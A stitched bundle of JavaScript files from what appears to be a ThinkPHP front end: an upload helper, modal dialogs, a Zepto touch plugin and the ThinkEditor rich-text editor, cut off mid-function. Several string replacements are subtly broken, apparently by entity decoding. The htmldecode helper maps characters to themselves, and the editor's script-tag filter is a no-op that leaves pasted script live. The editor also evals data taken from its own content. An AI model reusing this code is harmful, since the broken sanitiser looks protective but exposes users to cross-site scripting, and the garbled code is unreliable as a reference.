//iframe中的json格式,浏览器会自动渲染,加上pre标签,转义html标签,所以这里去掉pre标签,还原html标签。
var htmldecode=function(str)
{
var s = "";
if (str.length == 0) return "";
s = str.replace(/&/g, "&");
s = s.replace(/</g,"<");
s = s.replace(/>/g,">");
s = s.replace(/ /g," ");
s = s.replace(/'/g,"\'");
s = s.replace(/"/g, "\"");
s = s.replace(/<br>/g,"\n");
return s;
}
response=htmldecode($(response).html());
console.log(response);
}
try{
var ret=$.parseJSON(response);
//显示图片
if(ret.path) $hiddenInput.val(ret.path);
if(ret.show) $show.html(ret.show);
if(ret.error) $show.html(ret.error);
}catch(e){
console.log(response);
alert('服务器返回格式错误');
}
}
});
};
//客户端上传
var client_upload=function(index){
op.name=$(this).attr('name') || op.name
//增加上传按钮
var $uploadBtn=$('<input type="button" class="TPMupload_btn" value="上传" />').insertBefore(this);
//添加状态层
var $status=$('<span class="TPMupload_status"></span>').insertBefore(this);
//增加隐藏域
var $hiddenInput=$('<input type="hidden" name="'+op.name+'" value="" />').insertBefore(this);;
//增加结果显示层
var $show=$('<div class="TPMupload_show"></div>').insertBefore(this);
$(this).remove();
var upload=function(file,isbase64){
isbase64=isbase64 || false;
if('http'!=op.url.substr(0,4).toLowerCase()){
//如果上传地址不是绝对地址, 加上TPM的基路径。
op.url=TPM.op.api_base+op.url;
}
if(isbase64){
//如果是base64的图片数据
var $imgshow=$('<div><img src="data:image/png;base64,'+file+'" /><br /><span>点击图片可调整图片角度</span></div>').appendTo($show);
var $img=$imgshow.find('img');
$imgshow.click(function(){
var c=document.createElement('canvas');
var ctx=c.getContext("2d");
var img=new Image();
img.onload = function(){
c.width=this.height;
c.height=this.width;
ctx.rotate(90 * Math.PI / 180);
ctx.drawImage(img, 0,-this.height);
var dataURL = c.toDataURL("image/png");
$img.attr('src',dataURL);
$hiddenInput.val(dataURL);
};
img.src=$img.attr('src');
});
$hiddenInput.val('data:image/png;base64,'+file);
}else{
$status.html('正在上传...');
//视频,语音等文件上传
resolveLocalFileSystemURI(file,function(fileEntry){
fileEntry.file(function(info){
var options = new FileUploadOptions();
options.fileKey=op.name;
options.chunkedMode=false;
var ft = new FileTransfer();
ft.upload(info.fullPath,op.url,function(r){
$status.html('');
try{
var ret=$.parseJSON(r.response);
//显示图片
if(ret.path) $hiddenInput.val(ret.path);
if(ret.show) $show.html(ret.show);
if(ret.error) $show.html(ret.error);
}catch(e){
console.log(r.response);
alert('服务器返回格式错误');
}
},function(error){
$status.html('');
alert("文件上传失败,错误码: " + error.code);
},options);
});
});
}
};
//扑捉对象
$uploadBtn.click(function(){
if('Libray'==op.sourceType || 'Image'==op.sourceType){
var sourceType='Image'==op.sourceType?navigator.camera.PictureSourceType.CAMERA:navigator.camera.PictureSourceType.PHOTOLIBRARY;
var destinationType=op.dataUrl?navigator.camera.DestinationType.DATA_URL:navigator.camera.DestinationType.FILE_URI;
navigator.camera.getPicture(function(imageURI){
upload(imageURI,op.dataUrl);
}, function(){
}, {quality:op.quality,destinationType: destinationType,sourceType:sourceType,targetWidth:op.imgWidth,targetHeight:op.imgHeight});
}else{
var action='capture'+op.sourceType;
navigator.device.capture[action](function(mediaFiles){
upload(mediaFiles[0].fullPath);
},function(){
});
}
});
};
$(this).each(function(index){
//在SAE云窗调试器下可能有延迟问题,第一次加载会判断window.cordova未定义,这时候需要点击一下页面其他链接,再点击回来就可以了
if('cordova' in window){
//手机上的处理方法
client_upload.call(this,index);
}else{
//电脑上的处理方法
desktop_upload.call(this,index);
}
});
}
});
})(jQuery);
|
JavaScript
|
function tpm_alert(msg,callback,title){
title=title||'系统信息';
var $modal=$('<div><div class="tpm_modal_head"><h3>'+title+'</h3></div><div class="tpm_modal_body">'+msg+'</div><div class="tpm_modal_foot"><button class="tpm_modal_ok" type="button">确认</button></div></div>');
$modal.find('.tpm_modal_foot>button').on('click',function(){
tpm_close_float_box();
});
var id=Modernizr.mq("(max-width:767px)")?'tpm_modal_phone':'tpm_modal';
tpm_show_float_box($modal,id);
if($.isFunction(callback)){
$('#'+id).on('end',function(){
callback();
$('#'+id).off('end');
});
}
}
function tpm_info(msg,callback){
var id=Modernizr.mq("(max-width:767px)")?'tpm_info_phone':'tpm_info';
if(0==$('#'+id).size()){
$('<div id="'+id+'"></div>').appendTo('body').on('webkitTransitionEnd oTransitionEnd otransitionend transitionend',function(){
if(!$(this).is('.in')){
$(this).hide();
if($.isFunction(callback)) callback();
}
});
}
//显示
$('#'+id).show();
$('#'+id).html(msg);
$('#'+id).offset();//强制回流
$('#'+id).addClass('in');
//3秒后隐藏
setTimeout(function(){
$('#'+id).removeClass('in');
if(!Modernizr.csstransitions){
$('#'+id).hide();
if($.isFunction(callback)) callback();
}
},1000)
}
function tpm_confirm(msg,callback,title){
title=title||'请确认';
var $modal=$('<div><div class="tpm_modal_head"><h3>'+title+'</h3></div><div class="tpm_modal_body">'+msg+'</div><div class="tpm_modal_foot"><button class="tpm_modal_cancel" type="button">取消</button><button class="tpm_modal_ok" type="button">确认</button></div></div>');
var id=Modernizr.mq("(max-width:767px)")?'tpm_modal_phone':'tpm_modal';
$modal.find('.tpm_modal_foot>button').on('click',function(){
if($(this).is('.tpm_modal_ok')){
$('#'+id).on('end',function(){
if($.isFunction(callback)) callback();
$('#'+id).off('end');
})
}
tpm_close_float_box();
});
tpm_show_float_box($modal,id);
}
function tpm_popurl(url,callback,title){
var text='<div><div class="tpm_modal_head"><h3>'+title+'</h3> <a class="tpm_modal_close" href="javascript:tpm_close_float_box();">×</a></div><div id="tpm_modal_body" class="tpm_modal_body">loading</div></div>';
tpm_show_float_box(text,'tpm_modal');
if($.isFunction(callback)){
$('#tpm_modal').on('end',function(){
callback();
$('#tpm_modal').off('end');
});
}
//增加随机数,防止缓存
url+=-1==url.indexOf('?')?'?tpm_r='+Math.random():'&tpm_r='+Math.random();
//判断是否为http开头。
if('http'==url.substr(0,4).toLowerCase()){
$(window).off('message.tpm');
//以http开头用iframe显示。
$(window).on('message.tpm',function(e){
if('tpm_close_float_box'==e.originalEvent.data){
tpm_close_float_box();
}
});
$('#tpm_modal_body').html('<iframe src="'+url+'" id="tpm_modal_iframe" name="tpm_modal_iframe"></iframe>');
}else{
//判断是否加载tpm类库。
if(!window.TPM){
$('#tpm_modal_body').load(url);
}else{
window.TPMshowAjaxWait=false;
TPM.http(url,'tpm_modal_body');
}
}
}
function tpm_show_float_box(text,id){
tpm_show_backdrop();
//创建modal层
if(0==$('#'+id).size()){
$('<div id="'+id+'"></div>').appendTo('body').on('webkitTransitionEnd oTransitionEnd otransitionend transitionend',function(){
if(!$(this).is('.in')){
$(this).trigger('end');
$(this).hide();
}
});
}
$('#'+id).empty();
//加入弹出框内容
$(text).appendTo('#'+id);
//显示modal层
$('#'+id).show()
$('#'+id).offset();
//添加modal层in样式
$('#'+id).addClass('in');
}
function tpm_close_float_box(){
//如果iframe中发送postMessage给父窗口
if(parent!=window){
parent.postMessage('tpm_close_float_box','*');
return ;
}
tpm_hide_backdrop();
//删除modal层in样式
$('#tpm_modal,#tpm_modal_phone').removeClass('in');
if(!Modernizr.csstransitions){
$('#tpm_modal,#tpm_modal_phone').hide();
$('#tpm_modal,#tpm_modal_phone').trigger('end');
}
}
//显示笼罩层
function tpm_show_backdrop(){
if(0==$('#tpm_backdrop').size()){
$('<div id="tpm_backdrop"></div>').appendTo('body').on('webkitTransitionEnd oTransitionEnd otransitionend transitionend',function(){
if(!$(this).is('.in')) $(this).hide();
});
}
$('#tpm_backdrop').show();
$('#tpm_backdrop').offset();//强制回流
$('#tpm_backdrop').addClass('in');
}
//隐藏笼罩层
function tpm_hide_backdrop(){
$('#tpm_backdrop').removeClass('in');
if(!Modernizr.csstransitions) $('#tpm_backdrop').hide();
}
|
JavaScript
|
// Zepto.js
// (c) 2010-2012 Thomas Fuchs
// Zepto.js may be freely distributed under the MIT license.
;(function($){
var touch = {},
touchTimeout, tapTimeout, swipeTimeout,
longTapDelay = 750, longTapTimeout
function parentIfText(node) {
return 'tagName' in node ? node : node.parentNode
}
function swipeDirection(x1, x2, y1, y2) {
var xDelta = Math.abs(x1 - x2), yDelta = Math.abs(y1 - y2)
return xDelta >= yDelta ? (x1 - x2 > 0 ? 'Left' : 'Right') : (y1 - y2 > 0 ? 'Up' : 'Down')
}
function longTap() {
longTapTimeout = null
if (touch.last) {
touch.el.trigger('longTap')
touch = {}
}
}
function cancelLongTap() {
if (longTapTimeout) clearTimeout(longTapTimeout)
longTapTimeout = null
}
function cancelAll() {
if (touchTimeout) clearTimeout(touchTimeout)
if (tapTimeout) clearTimeout(tapTimeout)
if (swipeTimeout) clearTimeout(swipeTimeout)
if (longTapTimeout) clearTimeout(longTapTimeout)
touchTimeout = tapTimeout = swipeTimeout = longTapTimeout = null
touch = {}
}
$(document).ready(function(){
var now, delta
$(document.body)
.bind('touchstart', function(e){
now = Date.now()
delta = now - (touch.last || now)
touch.el = $(parentIfText(e.originalEvent.touches[0].target))
touchTimeout && clearTimeout(touchTimeout)
touch.x1 = e.originalEvent.touches[0].pageX
touch.y1 = e.originalEvent.touches[0].pageY
if (delta > 0 && delta <= 250) touch.isDoubleTap = true
touch.last = now
longTapTimeout = setTimeout(longTap, longTapDelay)
})
.bind('touchmove', function(e){
touch.x2 = e.originalEvent.touches[0].pageX
touch.y2 = e.originalEvent.touches[0].pageY
//触发拉到刷新, TODO 实现下拉刷新
touch.el.trigger('pulltorefresh',[touch.y1,touch.y2]);
if (Math.abs(touch.x1 - touch.x2) > 10)
e.preventDefault()
})
.bind('touchend', function(e){
cancelLongTap()
// swipe
if ((touch.x2 && Math.abs(touch.x1 - touch.x2) > 30) ||
(touch.y2 && Math.abs(touch.y1 - touch.y2) > 30))
swipeTimeout = setTimeout(function() {
touch.el.trigger('swipe')
touch.el.trigger('swipe' + (swipeDirection(touch.x1, touch.x2, touch.y1, touch.y2)))
touch = {}
}, 0)
// normal tap
else if ('last' in touch)
// delay by one tick so we can cancel the 'tap' event if 'scroll' fires
// ('tap' fires before 'scroll')
tapTimeout = setTimeout(function() {
// trigger universal 'tap' with the option to cancelTouch()
// (cancelTouch cancels processing of single vs double taps for faster 'tap' response)
var event = $.Event('tap')
event.cancelTouch = cancelAll
touch.el.trigger(event)
// trigger double tap immediately
if (touch.isDoubleTap) {
touch.el.trigger('doubleTap')
touch = {}
}
// trigger single tap after 250ms of inactivity
else {
touchTimeout = setTimeout(function(){
touchTimeout = null
touch.el.trigger('singleTap')
touch = {}
}, 250)
}
}, 0)
})
.bind('touchcancel', cancelAll)
$(window).bind('scroll', cancelAll)
})
;['swipe', 'swipeLeft', 'swipeRight', 'swipeUp', 'swipeDown', 'doubleTap', 'tap', 'singleTap', 'longTap'].forEach(function(m){
$.fn[m] = function(callback){ return this.bind(m, callback) }
});
})(jQuery)
|
JavaScript
|
modRewriteChecker = true;
|
JavaScript
|
fileProtectionChecker = true;
|
JavaScript
|
(function ($) {
var ie = $.browser.msie,
iOS = /iphone|ipad|ipod/i.test(navigator.userAgent);
$.TE = {
version:'1.0', // 版本号
debug: 1, //调试开关
timeOut: 3000, //加载单个文件超时时间,单位为毫秒。
defaults: {
//默认参数controls,noRigths,plugins,定义加载插件
controls: "source,|,undo,redo,|,cut,copy,paste,pastetext,selectAll,blockquote,|,image,flash,table,hr,pagebreak,face,code,|,link,unlink,|,print,fullscreen,|,eq,|,style,font,fontsize,|,fontcolor,backcolor,|,bold,italic,underline,strikethrough,unformat,|,leftalign,centeralign,rightalign,blockjustify,|,orderedlist,unorderedlist,indent,outdent,|,subscript,superscript",
//noRights:"underline,strikethrough,superscript",
width: 740,
height: 500,
skins: "default",
resizeType: 2,
face_path: ['qq_face', 'qq_face'],
minHeight: 200,
minWidth: 500,
uploadURL: 'about:blank',
theme: 'default'
},
buttons: {
//按钮属性
//eq: {title: '等于',cmd: 'bold'},
bold: { title: "加粗", cmd: "bold" },
pastetext: { title: "粘贴无格式", cmd: "bold" },
pastefromword: { title: "粘贴word格式", cmd: "bold" },
selectAll: { title: "全选", cmd: "selectall" },
blockquote: { title: "引用" },
find: { title: "查找", cmd: "bold" },
flash: { title: "插入flash", cmd: "bold" },
media: { title: "插入多媒体", cmd: "bold" },
table: { title: "插入表格" },
pagebreak: { title: "插入分页符" },
face: { title: "插入表情", cmd: "bold" },
code: { title: "插入源码", cmd: "bold" },
print: { title: "打印", cmd: "print" },
about: { title: "关于", cmd: "bold" },
fullscreen: { title: "全屏", cmd: "fullscreen" },
source: { title: "HTML代码", cmd: "source" },
undo: { title: "后退", cmd: "undo" },
redo: { title: "前进", cmd: "redo" },
cut: { title: "剪贴", cmd: "cut" },
copy: { title: "复制", cmd: "copy" },
paste: { title: "粘贴", cmd: "paste" },
hr: { title: "插入横线", cmd: "inserthorizontalrule" },
link: { title: "创建链接", cmd: "createlink" },
unlink: { title: "删除链接", cmd: "unlink" },
italic: { title: "斜体", cmd: "italic" },
underline: { title: "下划线", cmd: "underline" },
strikethrough: { title: "删除线", cmd: "strikethrough" },
unformat: { title: "清除格式", cmd: "removeformat" },
subscript: { title: "下标", cmd: "subscript" },
superscript: { title: "上标", cmd: "superscript" },
orderedlist: { title: "有序列表", cmd: "insertorderedlist" },
unorderedlist: { title: "无序列表", cmd: "insertunorderedlist" },
indent: { title: "增加缩进", cmd: "indent" },
outdent: { title: "减少缩进", cmd: "outdent" },
leftalign: { title: "左对齐", cmd: "justifyleft" },
centeralign: { title: "居中对齐", cmd: "justifycenter" },
rightalign: { title: "右对齐", cmd: "justifyright" },
blockjustify: { title: "两端对齐", cmd: "justifyfull" },
font: { title: "字体", cmd: "fontname", value: "微软雅黑" },
fontsize: { title: "字号", cmd: "fontsize", value: "4" },
style: { title: "段落标题", cmd: "formatblock", value: "" },
fontcolor: { title: "前景颜色", cmd: "forecolor", value: "#ff6600" },
backcolor: { title: "背景颜色", cmd: "hilitecolor", value: "#ff6600" },
image: { title: "插入图片", cmd: "insertimage", value: "" }
},
defaultEvent: {
event: "click mouseover mouseout",
click: function (e) {
this.exec(e);
},
mouseover: function (e) {
var opt = this.editor.opt;
this.$btn.addClass(opt.cssname.mouseover);
},
mouseout: function (e) { },
noRight: function (e) { },
init: function (e) { },
exec: function () {
this.editor.restoreRange();
//执行命令
if ($.isFunction(this[this.cmd])) {
this[this.cmd](); //如果有已当前cmd为名的方法,则执行
} else {
this.editor.doc.execCommand(this.cmd, 0, this.value || null);
}
this.editor.focus();
this.editor.refreshBtn();
this.editor.hideDialog();
},
createDialog: function (v) {
//创建对话框
var editor = this.editor,
opt = editor.opt,
$btn = this.$btn,
_self = this;
var defaults = {
body: "", //对话框内容
closeBtn: opt.cssname.dialogCloseBtn,
okBtn: opt.cssname.dialogOkBtn,
ok: function () {
//点击ok按钮后执行函数
},
setDialog: function ($dialog) {
//设置对话框(位置)
var y = $btn.offset().top + $btn.outerHeight();
var x = $btn.offset().left;
$dialog.offset({
top: y,
left: x
});
}
};
var options = $.extend(defaults, v);
//初始化对话框
editor.$dialog.empty();
//加入内容
$body = $.type(options.body) == "string" ? $(options.body) : options.body;
$dialog = $body.appendTo(editor.$dialog);
$dialog.find("." + options.closeBtn).click(function () { _self.hideDialog(); });
$dialog.find("." + options.okBtn).click(options.ok);
//设置对话框
editor.$dialog.show();
options.setDialog(editor.$dialog);
},
hideDialog: function () {
this.editor.hideDialog();
}
//getEnable:function(){return false},
//disable:function(e){alert('disable')}
},
plugin: function (name, v) {
//新增或修改插件。
$.TE.buttons[name] = $.extend($.TE.buttons[name], v);
},
config: function (name, value) {
var _fn = arguments.callee;
if (!_fn.conf) _fn.conf = {};
if (value) {
_fn.conf[name] = value;
return true;
} else {
return name == 'default' ? $.TE.defaults : _fn.conf[name];
}
},
systemPlugins: ['system', 'upload_interface'], //系统自带插件
basePath: function () {
var jsFile = "ThinkEditor.js";
var src = $("script[src$='" + jsFile + "']").attr("src");
return src.substr(0, src.length - jsFile.length);
}
};
$.fn.extend({
//调用插件
ThinkEditor: function (v) {
//配置处理
var conf = '',
temp = '';
conf = v ? $.extend($.TE.config(v.theme ? v.theme : 'default'), v) : $.TE.config('default');
v = conf;
//配置处理完成
//载入皮肤
var skins = v.skins || $.TE.defaults.skins; //获得皮肤参数
var skinsDir = $.TE.basePath() + "skins/" + skins + "/",
jsFile = "@" + skinsDir + "config.js",
cssFile = "@" + skinsDir + "style.css";
var _self = this;
//加载插件
if ($.defined(v.plugins)) {
var myPlugins = $.type(v.plugins) == "string" ? [v.plugins] : v.plugins;
var files = $.merge($.merge([], $.TE.systemPlugins), myPlugins);
} else {
var files = $.TE.systemPlugins;
}
$.each(files, function (i, v) {
files[i] = v + ".js";
})
files.push(jsFile, cssFile);
files.push("@" + skinsDir + "dialog/css/base.css");
files.push("@" + skinsDir + "dialog/css/te_dialog.css");
$.loadFile(files, function () {
//设置css参数
v.cssname = $.extend({}, TECSS, v.cssname);
//创建编辑器,存储对象
$(_self).each(function (idx, elem) {
var data = $(elem).data("editorData");
if (!data) {
data = new ThinkEditor(elem, v);
$(elem).data("editorData", data);
}
});
});
}
});
//编辑器对象。
function ThinkEditor(area, v) {
//添加随机序列数防冲突
var _fn = arguments.callee;
this.guid = !_fn.guid ? _fn.guid = 1 : _fn.guid += 1;
//生成参数
var opt = this.opt = $.extend({}, $.TE.defaults, v);
var _self = this;
//结构:主层,工具层,分组层,按钮层,底部,dialog层
var $main = this.$main = $("<div></div>").addClass(opt.cssname.main),
$toolbar_box = $('<div></div>').addClass(opt.cssname.toolbar_box).appendTo($main),
$toolbar = this.$toolbar = $("<div></div>").addClass(opt.cssname.toolbar).appendTo($toolbar_box),
/*$toolbar=this.$toolbar=$("<div></div>").addClass(opt.cssname.toolbar).appendTo($main),*/
$group = $("<div></div>").addClass(opt.cssname.group).appendTo($toolbar),
$bottom = this.$bottom = $("<div></div>").addClass(opt.cssname.bottom),
$dialog = this.$dialog = $("<div></div>").addClass(opt.cssname.dialog),
$area = $(area).hide(),
$frame = $('<iframe frameborder="0"></iframe>');
opt.noRights = opt.noRights || "";
var noRights = opt.noRights.split(",");
//调整结构
$main.insertBefore($area)
.append($area);
//加入frame
$frame.appendTo($main);
//加入bottom
if (opt.resizeType != 0) {
//拖动改变编辑器高度
$("<div></div>").addClass(opt.cssname.resizeCenter).mousedown(function (e) {
var y = e.pageY,
x = e.pageX,
height = _self.$main.height(),
width = _self.$main.width();
$(document).add(_self.doc).mousemove(function (e) {
var mh = e.pageY - y;
_self.resize(width, height + mh);
});
$(document).add(_self.doc).mouseup(function (e) {
$(document).add(_self.doc).unbind("mousemove");
$(document).add(_self.doc).unbind("mousemup");
});
}).appendTo($bottom);
}
if (opt.resizeType == 2) {
//拖动改变编辑器高度和宽度
$("<div></div>").addClass(opt.cssname.resizeLeft).mousedown(function (e) {
var y = e.pageY,
x = e.pageX,
height = _self.$main.height(),
width = _self.$main.width();
$(document).add(_self.doc).mousemove(function (e) {
var mh = e.pageY - y,
mw = e.pageX - x;
_self.resize(width + mw, height + mh);
});
$(document).add(_self.doc).mouseup(function (e) {
$(document).add(_self.doc).unbind("mousemove");
$(document).add(_self.doc).unbind("mousemup");
});
}).appendTo($bottom);
}
$bottom.appendTo($main);
$dialog.appendTo($main);
//循环按钮处理。
//TODO 默认参数处理
$.each(opt.controls.split(","), function (idx, bname) {
var _fn = arguments.callee;
if (_fn.count == undefined) {
_fn.count = 0;
}
//处理分组
if (bname == "|") {
//设定分组宽
if (_fn.count) {
$toolbar.find('.' + opt.cssname.group + ':last').css('width', (opt.cssname.btnWidth * _fn.count + opt.cssname.lineWidth) + 'px');
_fn.count = 0;
}
//分组宽结束
$group = $("<div></div>").addClass(opt.cssname.group).appendTo($toolbar);
$("<div> </div>").addClass(opt.cssname.line).appendTo($group);
} else {
//更新统计数
_fn.count += 1;
//获取按钮属性
var btn = $.extend({}, $.TE.defaultEvent, $.TE.buttons[bname]);
//标记无权限
var noRightCss = "", noRightTitle = "";
if ($.inArray(bname, noRights) != -1) {
noRightCss = " " + opt.cssname.noRight;
noRightTitle = "(无权限)";
}
$btn = $("<div></div>").addClass(opt.cssname.btn + " " + opt.cssname.btnpre + bname + noRightCss)
.data("bname", bname)
.attr("title", btn.title + noRightTitle)
.appendTo($group)
.bind(btn.event, function (e) {
//不可用触发
if ($(this).is("." + opt.cssname.disable)) {
if ($.isFunction(btn.disable)) btn.disable.call(btn, e);
return false;
}
//判断权限和是否可用
if ($(this).is("." + opt.cssname.noRight)) {
//点击时触发无权限说明
btn['noRight'].call(btn, e);
return false;
}
if ($.isFunction(btn[e.type])) {
//触发事件
btn[e.type].call(btn, e);
//TODO 刷新按钮
}
});
if ($.isFunction(btn.init)) btn.init.call(btn); //初始化
if (ie) $btn.attr("unselectable", "on");
btn.editor = _self;
btn.$btn = $btn;
}
});
//调用核心
this.core = new editorCore($frame, $area);
this.doc = this.core.doc;
this.$frame = this.core.$frame;
this.$area = this.core.$area;
this.restoreRange = this.core.restoreRange;
this.selectedHTML = function () { return this.core.selectedHTML(); }
this.selectedText = function () { return this.core.selectedText(); }
this.pasteHTML = function (v) { this.core.pasteHTML(v); }
this.sourceMode = this.core.sourceMode;
this.focus = this.core.focus;
//监控变化
$(this.core.doc).click(function () {
//隐藏对话框
_self.hideDialog();
}).bind("keyup mouseup", function () {
_self.refreshBtn();
})
this.refreshBtn();
//调整大小
this.resize(opt.width, opt.height);
//获取DOM层级
this.core.focus();
}
//end ThinkEditor
ThinkEditor.prototype.resize = function (w, h) {
//最小高度和宽度
var opt = this.opt,
h = h < opt.minHeight ? opt.minHeight : h,
w = w < opt.minWidth ? opt.minWidth : w;
this.$main.width(w).height(h);
var height = h - (this.$toolbar.parent().outerHeight() + this.$bottom.height());
this.$frame.height(height).width("100%");
this.$area.height(height).width("100%");
};
//隐藏对话框
ThinkEditor.prototype.hideDialog = function () {
var opt = this.opt;
$("." + opt.cssname.dialog).hide();
};
//刷新按钮
ThinkEditor.prototype.refreshBtn = function () {
var sourceMode = this.sourceMode(); // 标记状态。
var opt = this.opt;
if (!iOS && $.browser.webkit && !this.focused) {
this.$frame[0].contentWindow.focus();
window.focus();
this.focused = true;
}
var queryObj = this.doc;
if (ie) queryObj = this.core.getRange();
//循环按钮
//TODO undo,redo等判断
this.$toolbar.find("." + opt.cssname.btn + ":not(." + opt.cssname.noRight + ")").each(function () {
var enabled = true,
btnName = $(this).data("bname"),
btn = $.extend({}, $.TE.defaultEvent, $.TE.buttons[btnName]),
command = btn.cmd;
if (sourceMode && btnName != "source") {
enabled = false;
} else if ($.isFunction(btn.getEnable)) {
enabled = btn.getEnable.call(btn);
} else if ($.isFunction(btn[command])) {
enabled = true; //如果命令为自定义命令,默认为可用
} else {
if (!ie || btn.cmd != "inserthtml") {
try {
enabled = queryObj.queryCommandEnabled(command);
$.debug(enabled.toString(), "命令:" + command);
}
catch (err) {
enabled = false;
}
}
//判断该功能是否有实现 @TODO 代码胶着
if ($.TE.buttons[btnName]) enabled = true;
}
if (enabled) {
$(this).removeClass(opt.cssname.disable);
} else {
$(this).addClass(opt.cssname.disable);
}
});
};
//core code start
function editorCore($frame, $area, v) {
//TODO 参数改为全局的。
var defaults = {
docType: '<!DOCTYPE HTML>',
docCss: "",
bodyStyle: "margin:4px; font:10pt Arial,Verdana; cursor:text",
focusExt: function (editor) {
//触发编辑器获得焦点时执行,比如刷新按钮
},
//textarea内容更新到iframe的处理函数
updateFrame: function (code) {
//翻转flash为占位符
code = code.replace(/(<embed[^>]*?type="application\/x-shockwave-flash" [^>]*?>)/ig, function ($1) {
var ret = '<img class="_flash_position" src="' + $.TE.basePath() + 'skins/default/img/spacer.gif" style="',
_width = $1.match(/width="(\d+)"/),
_height = $1.match(/height="(\d+)"/),
_src = $1.match(/src="([^"]+)"/),
_wmode = $1.match(/wmode="(\w+)"/),
_data = '';
_width = _width && _width[1] ? parseInt(_width[1]) : 0;
_height = _height && _height[1] ? parseInt(_height[1]) : 0;
_src = _src && _src[1] ? _src[1] : '';
_wmode = _wmode && _wmode[1] ? true : false;
_data = "{'src':'" + _src + "','width':'" + _width + "','height':'" + _height + "','wmode':" + (_wmode) + "}";
if (_width) ret += 'width:' + _width + 'px;';
if (_height) ret += 'height:' + _height + 'px;';
ret += 'border:1px solid #DDD; display:inline-block;text-align:center;line-height:' + _height + 'px;" ';
ret += '_data="' + _data + '"';
ret += ' alt="flash占位符" />';
return ret;
});
return code;
},
//iframe更新到text的, TODO 去掉
updateTextArea: function (html) {
//翻转占位符为flash
html = html.replace(/(<img[^>]*?class=(?:"|)_flash_position(?:"|)[^>]*?>)/ig, function ($1) {
var ret = '',
data = $1.match(/_data="([^"]*)"/);
if (data && data[1]) {
data = eval('(' + data + ')');
}
ret += '<embed type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" ';
ret += 'src="' + data.src + '" ';
ret += 'width="' + data.width + '" ';
ret += 'height="' + data.height + '" ';
if (data.wmode) ret += 'wmode="transparent" ';
ret += '/>';
return ret;
});
return html;
}
};
options = $.extend({}, defaults, v);
//存储属性
this.opt = options;
this.$frame = $frame;
this.$area = $area;
var contentWindow = $frame[0].contentWindow,
doc = this.doc = contentWindow.document,
$doc = $(doc);
var _self = this;
//初始化
doc.open();
doc.write(
options.docType +
'<html>' +
((options.docCss === '') ? '' : '<head><link rel="stylesheet" type="text/css" href="' + options.docCss + '" /></head>') +
'<body style="' + options.bodyStyle + '"></body></html>'
);
doc.close();
//设置frame编辑模式
try {
if (ie) {
doc.body.contentEditable = true;
}
else {
doc.designMode = "on";
}
} catch (err) {
$.debug(err, "创建编辑模式错误");
}
//统一 IE FF 等的 execCommand 行为
try {
this.e.execCommand("styleWithCSS", 0, 0)
}
catch (e) {
try {
this.e.execCommand("useCSS", 0, 1);
} catch (e) { }
}
//监听
if (ie)
$doc.click(function () {
_self.focus();
});
this.updateFrame(); //更新内容
if (ie) {
$doc.bind("beforedeactivate beforeactivate selectionchange keypress", function (e) {
if (e.type == "beforedeactivate")
_self.inactive = true;
else if (e.type == "beforeactivate") {
if (!_self.inactive && _self.range && _self.range.length > 1)
_self.range.shift();
delete _self.inactive;
}
else if (!_self.inactive) {
if (!_self.range)
_self.range = [];
_self.range.unshift(_self.getRange());
while (_self.range.length > 2)
_self.range.pop();
}
});
// Restore the text range when the iframe gains focus
$frame.focus(function () {
_self.restoreRange();
});
}
($.browser.mozilla ? $doc : $(contentWindow)).blur(function () {
_self.updateTextArea(true);
});
this.$area.blur(function () {
// Update the iframe when the textarea loses focus
_self.updateFrame(true);
});
/*
* //自动添加p标签
* $doc.keydown(function(e){
* if(e.keyCode == 13){
* //_self.pasteHTML('<p> </p>');
* //this.execCommand( 'formatblock', false, '<p>' );
* }
* });
*/
}
//是否为源码模式
editorCore.prototype.sourceMode = function () {
return this.$area.is(":visible");
};
//编辑器获得焦点
editorCore.prototype.focus = function () {
var opt = this.opt;
if (this.sourceMode()) {
this.$area.focus();
}
else {
this.$frame[0].contentWindow.focus();
}
if ($.isFunction(opt.focusExt)) opt.focusExt(this);
};
//textarea内容更新到iframe
editorCore.prototype.updateFrame = function (checkForChange) {
var code = this.$area.val(),
options = this.opt,
updateFrameCallback = options.updateFrame,
$body = $(this.doc.body);
//判断是否已经修改
if (updateFrameCallback) {
var sum = checksum(code);
if (checkForChange && this.areaChecksum == sum)
return;
this.areaChecksum = sum;
}
//回调函数处理
var html = updateFrameCallback ? updateFrameCallback(code) : code;
// 禁止script标签
html = html.replace(/<(?=\/?script)/ig, "<");
// TODO,判断是否有作用
if (options.updateTextArea)
this.frameChecksum = checksum(html);
if (html != $body.html()) {
$body.html(html);
}
};
editorCore.prototype.getRange = function () {
if (ie) return this.getSelection().createRange();
return this.getSelection().getRangeAt(0);
};
editorCore.prototype.getSelection = function () {
if (ie) return this.doc.selection;
return this.$frame[0].contentWindow.getSelection();
};
editorCore.prototype.restoreRange = function () {
if (ie && this.range)
this.range[0].select();
};
editorCore.prototype.selectedHTML = function () {
this.restoreRange();
var range = this.getRange();
if (ie)
return range.htmlText;
var layer = $("<layer>")[0];
layer.appendChild(range.cloneContents());
var html = layer.innerHTML;
layer = null;
return html;
};
editorCore.prototype.selectedText = function () {
this.restoreRange();
if (ie) return this.getRange().text;
return this.getSelection().toString();
};
editorCore.prototype.pasteHTML = function (value) {
this.restoreRange();
if (ie) {
this.getRange().pasteHTML(value);
} else {
this.doc.execCommand("inserthtml", 0, value || null);
}
//获得焦点
this.$frame[0].contentWindow.focus();
}
editorCore.prototype.updateTextArea = function (checkForChange) {
var html = $(this.doc.body).html(),
options = this.opt,
updateTextAreaCallback = options.updateTextArea,
$area = this.$area;
if (updateTextAreaCallback) {
var sum = checksum(html);
if (checkForChange && this.frameChecksum == sum)
return;
this.frameChecksum = sum;
}
var code = updateTextAreaCallback ? updateTextAreaCallback(html) : html;
// TODO 判断是否有必要
if (options.updateFrame)
this.areaChecksum = checksum(code);
if (code != $area.val()) {
$area.val(code);
}
};
function checksum(text) {
var a = 1, b = 0;
for (var index = 0; index < text.length; ++index) {
a = (a + text.charCodeAt(index)) % 65521;
b = (b + a) % 65521;
}
return (b << 16) | a;
}
$.extend({
teExt: {
//扩展配置
},
debug: function (msg, group) {
//判断是否有console对象
if ($.TE.debug && window.console !== undefined) {
//分组开始
if (group) console.group(group);
if ($.type(msg) == "string") {
//是否为执行特殊函数,用双冒号隔开
if (msg.indexOf("::") != -1) {
var arr = msg.split("::");
eval("console." + arr[0] + "('" + arr[1] + "')");
} else {
console.debug(msg);
}
} else {
if ($(msg).html() == null) {
console.dir(msg); //输出对象或数组
} else {
console.dirxml($(msg)[0]); //输出dom对象
}
}
//记录trace信息
if ($.TE.debug == 2) {
